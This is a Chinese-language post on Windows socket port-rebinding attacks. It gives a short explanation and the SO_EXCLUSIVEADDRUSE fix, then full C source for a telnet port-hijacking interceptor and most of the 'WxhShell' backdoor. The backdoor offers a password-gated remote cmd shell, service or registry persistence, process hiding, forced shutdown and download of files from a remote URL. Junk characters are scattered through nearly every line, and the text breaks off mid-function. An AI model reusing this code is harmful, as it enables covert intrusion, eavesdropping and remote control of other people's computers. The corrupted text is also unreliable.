在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
WqAP'x 1 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
6O?O6Ub @ M-bE= saddr.sin_family = AF_INET;
}|;n[+ } #PGExN3e saddr.sin_addr.s_addr = htonl(INADDR_ANY);
^`$KN0PY $: -Ptm@ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
;lldxS X|as1Y$O+ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
BScysoeD 1'=brc YR 这意味着什么?意味着可以进行如下的攻击:
#cA}B
L!3 _]NM@'e 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
TQFD quR':=S5f 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
;a|A1DmZ 6K&V} 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
3e"G.0vJ 5m/r,d^H 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
RV~w+%f ^,50]uX_ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
~lMsD~$sO qe0@tKim 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
{=kA8U /#HY-b 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
G{:L^2> h^4oy^9 #include
,Tpds ^ #include
a)xN(xp## #include
,PnEDQ|l #include
{.sF&(e DWORD WINAPI ClientThread(LPVOID lpParam);
zOcMc{w0 int main()
h`)r :a7 {
7dLPy[8";t WORD wVersionRequested;
'del|"h!M DWORD ret;
p?%G|Q
WSADATA wsaData;
dM)fr BOOL val;
G$q=WM!%#s SOCKADDR_IN saddr;
H7WKnn@ SOCKADDR_IN scaddr;
(mycUU% int err;
RNPqW,B!0 SOCKET s;
R8axdV9( SOCKET sc;
,]+6kf 5 int caddsize;
y 8sI @y6 HANDLE mt;
<I}k%q' DWORD tid;
mu*wX'.' wVersionRequested = MAKEWORD( 2, 2 );
Z)HQlm err = WSAStartup( wVersionRequested, &wsaData );
5(,WN if ( err != 0 ) {
UJQ!~g.y] printf("error!WSAStartup failed!\n");
n1v%S"^ return -1;
,}bC }
7oUYRqd saddr.sin_family = AF_INET;
4&?%" 2 BPW:W } //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
g{&ux k); H|Eu,eq-E saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
,5nrovv saddr.sin_port = htons(23);
b2z~C{l if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
";Lpf]< {
<yeG0`}t printf("error!socket failed!\n");
:R_(+EK1 return -1;
pNDL:vMWP }
3ZC[H'| val = TRUE;
7;Wj ^# //SO_REUSEADDR选项就是可以实现端口重绑定的
Hkpn/,D5 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
U,/>p=s {
q4VOK
'N printf("error!setsockopt failed!\n");
LJT+tb?K return -1;
' e-FJ')| }
QkA79%;j //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
o zv><e# //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Lq yY??\@ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
_m@QeO'yh ;i1H {hB if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
:.@gd7T {
<^M`U> ret=GetLastError();
1Azigd0% printf("error!bind failed!\n");
l("_JI return -1;
R#gip }
)wAqaG_d listen(s,2);
{>Zc#U' while(1)
]zu"x9-` {
Z$T1nm%lo: caddsize = sizeof(scaddr);
;]|Z8#s //接受连接请求
b d9]' sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
,1od]]>(O if(sc!=INVALID_SOCKET)
/mvuSNk {
ZNzye1JSm mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
v50=D/&w if(mt==NULL)
afH`<! {
%U'YOE6 printf("Thread Creat Failed!\n");
N[czraFBD} break;
c8#A^q} }
W0X?"Ms|a }
53#7Yy CloseHandle(mt);
;A1pqHr }
0F)Y[{h< closesocket(s);
\9!W^i[+ WSACleanup();
,xNuc$8Jd return 0;
p1CY?K }
&c0U\G|j DWORD WINAPI ClientThread(LPVOID lpParam)
ZY=x$($f {
UT+B*?,h SOCKET ss = (SOCKET)lpParam;
z>hA1*Ti SOCKET sc;
|G{TA unsigned char buf[4096];
7\eN8+ SOCKADDR_IN saddr;
-k=02?0p+ long num;
Lylw('zZ DWORD val;
C;M.dd DWORD ret;
*s<FE F //如果是隐藏端口应用的话,可以在此处加一些判断
!|hv49!H //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
2?#IwT' saddr.sin_family = AF_INET;
na_Y<R` saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
}h>QkV,{2 saddr.sin_port = htons(23);
pGh2 4E if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
8I3"68c_a {
jCxw|tmgq printf("error!socket failed!\n");
-Y{P"!p0 return -1;
nUD)G<v }
d0eMDIm3R\ val = 100;
IA!( 'Ks if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
-ZBk^p {
sd
xl@ ret = GetLastError();
s7#w5fe return -1;
\5cAOBja }
._Wm%'uX if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Z25^+)uf*U {
1 f).J ret = GetLastError();
Q&rpW:^v return -1;
6MqJy6 }
\|R P-8 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Ns?y)
G>: {
H"6Sj-<= printf("error!socket connect failed!\n");
w-pdpbHV closesocket(sc);
y7txIe!<5 closesocket(ss);
Q47Rriw return -1;
PSNfh7g }
]N,n7v+} while(1)
H[BY(a@c {
cK"b0K/M?B //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
TeSF
//如果是嗅探内容的话,可以再此处进行内容分析和记录
|/5j0 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
f =B)jYI num = recv(ss,buf,4096,0);
d~u+:[\=/ if(num>0)
)=8MO-{ send(sc,buf,num,0);
x!"S`AM else if(num==0)
qQv?J]l break;
=rFgOdj num = recv(sc,buf,4096,0);
3FR'N%+ if(num>0)
UB|f{7~& send(ss,buf,num,0);
i!@L`h!rw else if(num==0)
J.N%=-8 break;
8HS1^\~(6l }
VnAJOR7lrx closesocket(ss);
tT>~;l%' closesocket(sc);
18jI6$DY return 0 ;
Y1vl,Yi }
9l5l"Wj& $fR[zBxA L&H4fy!> ==========================================================
UEbRg =6 RBd{1on 下边附上一个代码,,WXhSHELL
+q[puFfl ;9MsV.n ==========================================================
Ew~piuj ,Y6Me+5B #include "stdafx.h"
sg RY`U.C ZnVi.s~1V #include <stdio.h>
I4.^I/c( #include <string.h>
5B)Z@-x2 #include <windows.h>
n$i}r\
so #include <winsock2.h>
c&vY0/ [ #include <winsvc.h>
,#@B3~giC #include <urlmon.h>
sS7r)HV&GI 7+ QD=j- #pragma comment (lib, "Ws2_32.lib")
u2,V34b- #pragma comment (lib, "urlmon.lib")
x<W`2Du BuII|j #define MAX_USER 100 // 最大客户端连接数
1A^~gYr #define BUF_SOCK 200 // sock buffer
|}P4Gr}6 #define KEY_BUFF 255 // 输入 buffer
`'H"|WsT $$_aHkI j #define REBOOT 0 // 重启
K6d9[;F #define SHUTDOWN 1 // 关机
?]+{2&&$
v0&E!4q*' #define DEF_PORT 5000 // 监听端口
O:3LA-vA ~OO&%\$k #define REG_LEN 16 // 注册表键长度
{PZNJ 2~ #define SVC_LEN 80 // NT服务名长度
{L^b['h@ }c?/-ab> // 从dll定义API
#&a-m,Y$sx typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
3eX;T +|o typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
k \rzvo=U typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
/X>Fn9mM typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
Pi7vuOJr8 pVbgjJI // wxhshell配置信息
?UuJk struct WSCFG {
cD5c&+,&I int ws_port; // 监听端口
/ZlPEs) char ws_passstr[REG_LEN]; // 口令
hDTiXc int ws_autoins; // 安装标记, 1=yes 0=no
b.V\EOk char ws_regname[REG_LEN]; // 注册表键名
tp"dho char ws_svcname[REG_LEN]; // 服务名
%QH "x`; char ws_svcdisp[SVC_LEN]; // 服务显示名
bAS('R;4 char ws_svcdesc[SVC_LEN]; // 服务描述信息
^o^[p % char ws_passmsg[SVC_LEN]; // 密码输入提示信息
r^3/Ltd5/ int ws_downexe; // 下载执行标记, 1=yes 0=no
#Ux*": char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
GAG=4g char ws_filenam[SVC_LEN]; // 下载后保存的文件名
QwPLy O .4P5tIn\ };
DdJ>1504 B@XnHh5y // default Wxhshell configuration
ocOzQ13@Y struct WSCFG wscfg={DEF_PORT,
}+ ";W) R "xuhuanlingzhe",
Jv(9w[ 1,
H=b54.J8& "Wxhshell",
~H"Q5Hr "Wxhshell",
m!{Xu y "WxhShell Service",
,[fn? s r "Wrsky Windows CmdShell Service",
Nb;xJSl ox "Please Input Your Password: ",
l,5<g-r
V 1,
ClZ:#uMbN "
http://www.wrsky.com/wxhshell.exe",
owHV&(Go(B "Wxhshell.exe"
5=]q+&y\H };
xdw"JS} k=">2!O/ // 消息定义模块
{!h|(xqN+ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
$=?1>zvF char *msg_ws_prompt="\n\r? for help\n\r#>";
".aypD)W char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
Teq1VK3Hr char *msg_ws_ext="\n\rExit.";
CFdR4vuEI char *msg_ws_end="\n\rQuit.";
a![x^@nF char *msg_ws_boot="\n\rReboot...";
pd2Lc
$O@ char *msg_ws_poff="\n\rShutdown...";
d67Q@')00 char *msg_ws_down="\n\rSave to ";
bV|(V> oj\av~cI char *msg_ws_err="\n\rErr!";
4JF)w;X} char *msg_ws_ok="\n\rOK!";
mHcxK@qw ?z,^QjQ} char ExeFile[MAX_PATH];
IRy!8A=X int nUser = 0;
K6"#&0 HANDLE handles[MAX_USER];
::bK{yZm int OsIsNt;
c
*<"& IO/%X;Y_ SERVICE_STATUS serviceStatus;
9gFb=&1k SERVICE_STATUS_HANDLE hServiceStatusHandle;
VK)1/b=yT UykOQ-2-n // 函数声明
l-|hvv5g int Install(void);
oS3}xT "
U int Uninstall(void);
={_.} int DownloadFile(char *sURL, SOCKET wsh);
ND);7 int Boot(int flag);
$v|/*1S void HideProc(void);
7)iB6RBK int GetOsVer(void);
*6uZ"4rb. int Wxhshell(SOCKET wsl);
R7axm<PR= void TalkWithClient(void *cs);
%tx~CD int CmdShell(SOCKET sock);
w
D|p'N int StartFromService(void);
:5 XNV6^| int StartWxhshell(LPSTR lpCmdLine);
d:KUJ
Y. 2BTFK"=U VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
F<SCW+>z2a VOID WINAPI NTServiceHandler( DWORD fdwControl );
7kDX_,i 1O" Mo // 数据结构和表定义
*5KV DOd
SERVICE_TABLE_ENTRY DispatchTable[] =
} Ej^M~Vv {
00s&<EM {wscfg.ws_svcname, NTServiceMain},
#=6A[<qX {NULL, NULL}
8&?kr/_Vr };
Vq[L4 ~3p
:jEM.[ // 自我安装
r8PXdNg int Install(void)
`<R;^qCt {
p4},xQzB char svExeFile[MAX_PATH];
eK]g FXk HKEY key;
`LD#fg* strcpy(svExeFile,ExeFile);
8S;]]*cD~ |a!AgvNF // 如果是win9x系统,修改注册表设为自启动
P_:A%T if(!OsIsNt) {
dOm`p W ^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Z.9?u; RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
aDJ\% RegCloseKey(key);
ziFg+i%s if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
B^4D`0G[4 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
j9)WInYc: RegCloseKey(key);
3@u<Sa return 0;
GE+%V7 }
L`"PaIMz }
<PBrW#:' }
XL@Y! else {
5HWVK . CH
|A^!Zm // 如果是NT以上系统,安装为系统服务
K.A!?U= SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
Z7 \gj` if (schSCManager!=0)
R <kh3T {
%<^B\|d'? SC_HANDLE schService = CreateService
\SB~rz"A (
]-
schSCManager,
ce/Z[B+d wscfg.ws_svcname,
-w8c;5X wscfg.ws_svcdisp,
8Lm}x_
SERVICE_ALL_ACCESS,
%;5AF8# c SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
OyTE d5\3 SERVICE_AUTO_START,
&zVF!xNy& SERVICE_ERROR_NORMAL,
*.g0;\HF svExeFile,
B o@B9/ABv NULL,
}1EfyR NULL,
VlGg? NULL,
JzhbuWwF- NULL,
We^!(G NULL
dV{N,;z );
Rg/*)SKj if (schService!=0)
:H}a/ x*ur {
6.]x@=Wm CloseServiceHandle(schService);
kbij Zj{ CloseServiceHandle(schSCManager);
lWYZAF>?Ym strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
3hzI6otKS strcat(svExeFile,wscfg.ws_svcname);
qEd!g,Sx if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
AEjkqG4qv RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
ts2;?`~ RegCloseKey(key);
Z4eu'.r-y~ return 0;
[/.5{|&GSt }
VUfV=&D-*g }
FScE3~R CloseServiceHandle(schSCManager);
oBVYgv) }
OG\TrW-ug }
%m\dNUz4g ,^dyS]!d$ return 1;
SoS GQ&k }
vo'=d"zm n0o'ns // 自我卸载
\k6Ho?PL int Uninstall(void)
99T_y`df {
nxzdg5A(w HKEY key;
C %l!"s^ KH4
5A'o if(!OsIsNt) {
f< A@D"m/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
A0x"Etbw) RegDeleteValue(key,wscfg.ws_regname);
yFfa/d RegCloseKey(key);
9Q
4m9} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
>eHSbQu/Bu RegDeleteValue(key,wscfg.ws_regname);
k0;N D RegCloseKey(key);
}Qjp,(ye return 0;
&"bcI7uGT }
(h8M }
MMs#Y1dH }
fV[(s7vW else {
@=KuoIV z6B(}(D SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
jR/YG
ru if (schSCManager!=0)
mp2J|!Lx {
-7_`6U2" SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
vB0O3] if (schService!=0)
'qRK6}"T
{
E\U6n ""] if(DeleteService(schService)!=0) {
v?Q|;< CloseServiceHandle(schService);
} $:uN CloseServiceHandle(schSCManager);
`N0Mm7 return 0;
'n>,+,& }
L4th 7# CloseServiceHandle(schService);
]fH U/% }
"*o54z5" CloseServiceHandle(schSCManager);
y(M- }
e/@t U'$ }
)9sRDNr dQfVdqg return 1;
i#I+ }
B7"/K]dR: ?`+46U% // 从指定url下载文件
m2o*d$Ke int DownloadFile(char *sURL, SOCKET wsh)
klC;fm2C {
["|' f HRESULT hr;
#*^vd{fl char seps[]= "/";
p7b`Z>} char *token;
oiP8~ char *file;
VV/6~jy0 char myURL[MAX_PATH];
lSw9e<jYO char myFILE[MAX_PATH];
q'kZ3G Rpit> strcpy(myURL,sURL);
cr!6qv1 token=strtok(myURL,seps);
=$`xis\ while(token!=NULL)
_akC^hT {
J 00<NRxj" file=token;
[zp v3Uw token=strtok(NULL,seps);
G5y>v^&H }
vJ*IUy "bFt+N GetCurrentDirectory(MAX_PATH,myFILE);
HJl$v#]#+ strcat(myFILE, "\\");
T(@y#09 strcat(myFILE, file);
y74Ph:^k send(wsh,myFILE,strlen(myFILE),0);
=ogzq.+| send(wsh,"...",3,0);
.k5
TQt hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
<b74L if(hr==S_OK)
et|P5%G return 0;
=j[zMO else
i_OoR"J% return 1;
fm2,Mx6 5>.)7D% }
[uxhdR`T m=&j2~<i // 系统电源模块
ODn6%fp% int Boot(int flag)
rK%<2i {
ajIgL<x HANDLE hToken;
5Z{h!}Y TOKEN_PRIVILEGES tkp;
y(&JE^GfX 2.)@u~^Q
if(OsIsNt) {
T:+%3+;a OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
F"O{eK0T LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
'LZF^m _<< tkp.PrivilegeCount = 1;
b#h?O} tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
O_8ERxj
g] AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
\tFg10 if(flag==REBOOT) {
xao'L if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
\-kX-Tq return 0;
2kV[A92s }
r(` ;CY]@ else {
(p<QRb:&Z if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
'| Enc"U return 0;
c)8V^7=Q }
&0*l=!:G^ }
}J}a;P4 else {
7
}`c:u~j if(flag==REBOOT) {
qJ QE|VM& if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
|B&KT return 0;
G5W6P7-<X }
UeB8|z else {
}5gAxR, if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
z)Xf6& return 0;
*z4n2"<l }
qM
F'& }
'$u3i
#.\ 1Sox@Ko return 1;
BCV<( @c }
,eq[X\B> +5Z0-N@ // win9x进程隐藏模块
;\7TQ9z void HideProc(void)
6'y+Ev$9 {
}49X
N 0wZ_;FN*- HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
!xoN%5! if ( hKernel != NULL )
,2mnjq/*Z {
P;[5#-e pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
Gv[W)+3f ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
'Im7^!-d FreeLibrary(hKernel);
PbOLN$hP }
Iu6KW :x "'H$YhY] return;
Ju$= Tn }
87%t=X wsp&U
.z // 获取操作系统版本
f!;i$Oif int GetOsVer(void)
IdTeue {
4kGA`XhS* OSVERSIONINFO winfo;
n k]tq3.[ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
nd
'K4q GetVersionEx(&winfo);
2V(ye9 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
LLv~yS O return 1;
:kSA^w8 else
D+{h@^C9Z return 0;
?&Si P-G }
0gPz|v>z ($*bwqp]} // 客户端句柄模块
M.1bRB int Wxhshell(SOCKET wsl)
3#R~>c2 {
X}'3N'cbkU SOCKET wsh;
@O+yxGA struct sockaddr_in client;
}h<\qvCcU DWORD myID;
8[(eV. h.c<A{[I6c while(nUser<MAX_USER)
r(pp = {
KL]K< A int nSize=sizeof(client);
jLC,<V* wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
P<GY"W+rR if(wsh==INVALID_SOCKET) return 1;
TF 6_4t6 %Qc#v$;+J handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
KquHc-fzqr if(handles[nUser]==0)
^7v}wpwX\ closesocket(wsh);
Z"#ysC else
/b,+YyWi% nUser++;
XNwY\y }
iRo UM.% WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
[7B:{sH xdp!'1n."g return 0;
|RwpIe8~ }
p,}-8#K[ ^_3idLE // 关闭 socket
zsA6(?)u void CloseIt(SOCKET wsh)
%cG6=`vR {
9 m&"x/k closesocket(wsh);
N;tUrdgQ nUser--;
h4H~;Wl0 ExitThread(0);
d{&+xl^ll }
PCnE-$QH &'V_80vA // 客户端请求句柄
x|*v(,7b]! void TalkWithClient(void *cs)
*A2J[,?c {
gWA)V*}f I z~#G6]M SOCKET wsh=(SOCKET)cs;
a`(6hL3IT char pwd[SVC_LEN];
Woa5Ov!n0 char cmd[KEY_BUFF];
x3>K{ char chr[1];
s$6zA
j! int i,j;
dluNA(Xc- T8>:@EL-k while (nUser < MAX_USER) {
JC`|GaUy `g6XVa*%# if(wscfg.ws_passstr) {
;k^wn)JE$ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
7a0ZI //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
`kIzT!HX //ZeroMemory(pwd,KEY_BUFF);
G_zJuE$V i=0;
aKS
2p3 while(i<SVC_LEN) {
HZCEr6}( Z `O.JE // 设置超时
/%}+FMj fd_set FdRead;
3B/ GcltfM struct timeval TimeOut;
QE}S5#_" FD_ZERO(&FdRead);
/,$;xt-J35 FD_SET(wsh,&FdRead);
mk_cub@ TimeOut.tv_sec=8;
7{f&L' TimeOut.tv_usec=0;
+o(t5O[G int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
R'qB-v. if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Xtbuy/8"1 qu BTRW9 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Lx,"jA/ pwd
=chr[0]; l5Z=aW Q
if(chr[0]==0xd || chr[0]==0xa) { n )YNt
pwd=0; cyA|6Ltg%
break; CeS8I-,
} }!\NdQs
i++; 7^'TU=ss_
} YQ X+lE
1;3oGuHj8
// 如果是非法用户,关闭 socket A=!&2(
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "C.'_H!Ex
} CCfuz &
z*ZEw
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2\l7=9 ]\3
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z"'rc.>a
{,.1KtrSN
while(1) { ][S<M24]Q
LgRx\*[C*
ZeroMemory(cmd,KEY_BUFF); "5%G[MB
^ $Q',
// 自动支持客户端 telnet标准 <F+S }!q
j=0; mfFC@~|g
while(j<KEY_BUFF) { %75|+((fC
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); znhe]&Fw
cmd[j]=chr[0]; ma@ws,H
if(chr[0]==0xa || chr[0]==0xd) { <M nzR
cmd[j]=0; 6#vD>@H
break; 7oA$aJQ
} "UKX~}8T
j++; n|lXBCY7K
} 8Fx~i#F T
FMhwk"4L
// 下载文件 6:>4}WOP
if(strstr(cmd,"http://")) { T[U&Y`3g
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ??=CAU%\
if(DownloadFile(cmd,wsh)) /ivt 8Uiw
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,,mkB6;
else O^G/(
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l*uNi47|
} 'IP'g,o++
else { NZ9=hI;iM
;j=/2vU~@
switch(cmd[0]) { '@2pOq
5[`!\vCiZ
// 帮助 \6)l(b;
case '?': { 5fv eQI~!
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g[*+R9'
break; w;0NtV|
} o4o&}
// 安装 s#;|8_L
M
case 'i': { cZ\#074u/
if(Install()) wX8T;bo&
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~/Aw[>_;
else XD{U5.z>y
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1""9+4
break; !tCw)cou
} 6xr$
// 卸载 %/~6Qq
case 'r': { Z}f$KWj
if(Uninstall()) X/lLM`
send(wsh,msg_ws_err,strlen(msg_ws_err),0); i96Pel
else AR`X2m '
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7A8jnq7m/
break; eHF#ME
} I8gGP'
// 显示 wxhshell 所在路径 eJilSFp1
case 'p': { +c/am``
char svExeFile[MAX_PATH]; )b"H]"
strcpy(svExeFile,"\n\r"); r^ S4 I&
strcat(svExeFile,ExeFile); );@Dr!H
send(wsh,svExeFile,strlen(svExeFile),0); E:4`x_~qQ
break; uTA
/E9OY
} TU$/3fp*
// 重启 mC
n,I
case 'b': { k^J~l=?v
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )^
R]3!v
if(Boot(REBOOT)) qg:R+`z
send(wsh,msg_ws_err,strlen(msg_ws_err),0); *GbC`X)
else { # ,u7lAz
closesocket(wsh); Y"D'|i
ExitThread(0); +8."z"i3lE
} '{\VOU
break; Hhr/o~?;}#
} j;<Yje&Wz
// 关机 -2o4v#d
case 'd': { C16MzrB}(N
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <oI{:KH
if(Boot(SHUTDOWN)) w3 PE.A"Q
send(wsh,msg_ws_err,strlen(msg_ws_err),0); v#a`*^ ^
else { M<r'j $g
closesocket(wsh); ( u@[}!
ExitThread(0); .6xP>!E}Q
} ,E3"AisI
break; { r`l
} zwN;CD1
// 获取shell \U4O*lq
case 's': { VmF?8Vi4
CmdShell(wsh); 6b9D db*
closesocket(wsh); xYc)iH6&
ExitThread(0); - 6;0 x
break; 'j !!h4
} sDK
lbb
// 退出 P_j?V"i<
case 'x': { [^A.$,
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Z%D*2wm4
CloseIt(wsh); Z_}vjk~s
break; 7e/Uc!&*
} Op,Ce4A
// 离开 bENfEOf,
case 'q': { =#&K\
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?xGxr|+a
closesocket(wsh); 4
`Z @^W
WSACleanup(); pB@8b$8(Z
exit(1); }.3F|H
break; _J }ce
} L=iaL[zdJ
} +)^F9LPl
} A5!jrSyv
:J@q
Xa
// 提示信息 muQH!Q
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8js5/G+
} Z=sy~6m+v
} $R2T)
im>Sxu@
return; ;tf1#6{
} gd]vrW'wj
qo}-m7
// shell模块句柄 XrYMv
WT
int CmdShell(SOCKET sock) xH;qJRHa
{ C (vi ns
STARTUPINFO si; A-~#ydv
ZeroMemory(&si,sizeof(si)); :&mYz(1q
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; iJ~5A'?6
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [3nhf<O
PROCESS_INFORMATION ProcessInfo; S5@/;T
char cmdline[]="cmd"; 9qIUBH e
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo);
$Tfq9
return 0; t LdBnf
} yHurt>8b[
y<m{eDV7
// 自身启动模式 S6B(g_D|
int StartFromService(void) k;3Bv 6
{ hqnJ@N$yY
typedef struct &32qv`
V_
{ ;DL|%-%;$r
DWORD ExitStatus; |VB}Kv
DWORD PebBaseAddress; }9R45h}{<
DWORD AffinityMask; nZfTK>)A0
DWORD BasePriority; 6dV@.(][a
